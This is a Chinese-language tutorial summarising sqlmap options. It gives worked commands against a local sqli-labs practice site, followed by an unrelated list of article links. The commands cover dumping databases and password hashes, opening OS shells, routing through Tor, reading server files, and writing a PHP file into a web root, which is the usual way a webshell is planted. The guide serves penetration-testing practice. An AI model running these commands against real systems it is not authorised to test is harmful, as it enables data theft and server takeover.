Sqlmap注入使用技巧总结
简介
Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令,具体细节可参考官方地址[1],Github地址[2],中文使用说明[3]、sqlmap使用笔记[4]
支持的数据库:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB
SQL注入技术:
boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band
枚举数据:
users, password hashes, privileges, roles, databases, tables and columns
快速上手
- 对url进行检测,判断是否存在SQL注入
sqlmap -u "url" --batch
- 获取当前数据库
sqlmap -u URL --current-db
- 获取当前数据库里所有表
sqlmap -u URL -D database --tables
- 获取当前数据库表里的字段
sqlmap -u URL -D database -T tablename --columns
- 获取字段内容
sqlmap -u URL -D database -T tablename -C columnsname --dump
SQLMAP检测参数
--current-user 检索当前用户
--current-db 检索当前数据库
-is-dba 当前用户权限(是否为root权限)
-dbs 所有数据库
--users 列出用户列表
--passwords 列出用户密码的hash值
--os-shell 提示为交互式操作系统shell
--os-pwn 提示为OOB外壳,Meterpreter或VNC
--batch 永远不要要求用户输入,使用默认行为
--sql-shell 提示输入交互式sqlmap shell
请求:
这些选项可用于指定如何连接到目标URL
--data=DATA 数据字符串通过POST发送
--cookie=COOKIE HTTP Cookie的值
--random-agent 随机选择 HTTP User-Agent 头的值
--proxy=PROXY 使用代理去连接目标URL
--tor 使用匿名网络
--check-tor 检查Tor是否正确使用
File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Optimization(优化):
这些选项可用于优化SqlMap的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的HTTP(S)连接
–null-connection 从没有实际的HTTP响应体中检索页面长度
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS为此值
–os=OS 强制后端的DBMS操作系统为这个值
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页
Techniques(技巧):
这些选项可用于调整具体的SQL注入测试。
–technique=TECH SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围用于测试UNION查询注入
–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
-f, –fingerprint 执行检查广泛的DBMS版本指纹
Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列
不同传参方式注入
GET
sqlmap -u
POST
- 从抓取文件中检测
sqlmap -r
- 从指定参数检测
sqlmap --data "uname=1&password=2" -p uname
- 自动检测表单传入参数
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-11/" --forms --batch --threads 10 --current-db
Cookies
sqlmap -r--level 2
PUT
常用参数
- -–batch 默认选项运行
- --dbs 爆破数据库
-
-–technique 指定sqlmap使用的检测技术
- B:Boolean-based-blind (布尔型注入)
- U:Union query-based (联合注入)
- E:Error-based (报错型注入)
- S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
- T:Time-based blind (基于时间延迟注入)
-
- -r 读取抓包文件
-
- -p 需要检测的参数
-
- --threads 线程数
-
- -data 传入post参数(免去抓包)
- --level level: 设置检测的方方面面和测试用例 - 默认是1,会尝试POST和GET - 2:Cookie也会加入检测 - 3:User-Agent和Referer也会检测, 更大的值会增加用例量
-
- --user-agent 指定User-Agent
-
- --data 指定请求的内容
-
- --dbms 指定后端数据库,给定后端数据库的类型可以减少减少无关的测试用例.
-
- --fresh-queries fresh-queries会忽略之前的查询结果,进行重新请求操作
-
- --flush-session flush-session会清空当前URL相关的session
实战案例
- 读取flag.php文件内容
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-1/index.php?id=1" --file-read "E:flag.php"
- 将mm.php写入目标网站根目录
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" --file-write "/home/bb/mm.php" --file-dest "E:mm.php" --batch
- 默认参数的报错注入检测
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" --batch --dbs --threads 10 --technique E sqlmap -r 1.txt --batch --dbs --threads 100 --technique ES --level 3
- 检测POST请求参数是否有注入点
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" --forms --dbs --batch
- 使用多个tamper进行检测
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" --tamper "xx.py" --batch --dbs
参考资料
[1]
Sqlmap官方地址: http://sqlmap.org
[2]
Github地址: https://github.com/sqlmapproject/sqlmap
[3]
中文使用说明: http://www.91ri.org/6775.html
[4]
sqlmap使用笔记: https://www.cnblogs.com/coder2012/p/3939703.html
- 用于快速开发 3D 数据处理软件的开源数据处理库 —— Open3D | Github 项目推荐
- 【java网络】IO编程
- 一周 Github Trending 热门项目,最全中华古诗词数据库 | Github 项目推荐
- 【线程池】线程池与工作队列
- 一个快速方便的图形化 Python 调试器 —— birdseye | Github 项目推荐
- 关于分区表的在线重定义(r5笔记第98天)
- 10个实用的但偏执的Java编程技术
- 看似诡异的tablespace online问题(r5笔记第95天)
- python2.7进行爬虫POI代码(划分小网格算法)
- 从 Encoder 到 Decoder 实现 Seq2Seq 模型
- python2.7进行爬虫百度POI代码(划分小网格算法)
- 如何通过TTL调试光猫
- 基于树莓派和Tensowflow的物体识别-brain
- SNA中:中心度及中心势诠释(不完整代码)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Linux中Bash环境变量的配置方法
- Linux 中的防火墙 ufw 简介
- linux下如何实现快速拷贝大文件
- Linux硬链接与软链接原理及用法解析
- Linux通用java程序启动脚本代码实例
- 如何解决Ubuntu18.04循环登录/卡在开机界面/无法进入图形界面的问题
- CentOS7连接XShell与网络配置的方法
- 如何监控 Linux 服务器状态的方法
- Linux 文件系统的操作实现
- win10系统下安装superset的步骤
- Ubuntu下使用python3中的venv创建虚拟环境
- vsftpd配置虚拟用户登录的方法
- Linux 删除特殊字符文件名或目录的方法
- 详解Linux环境变量配置全攻略
- Linux lsof命令使用详解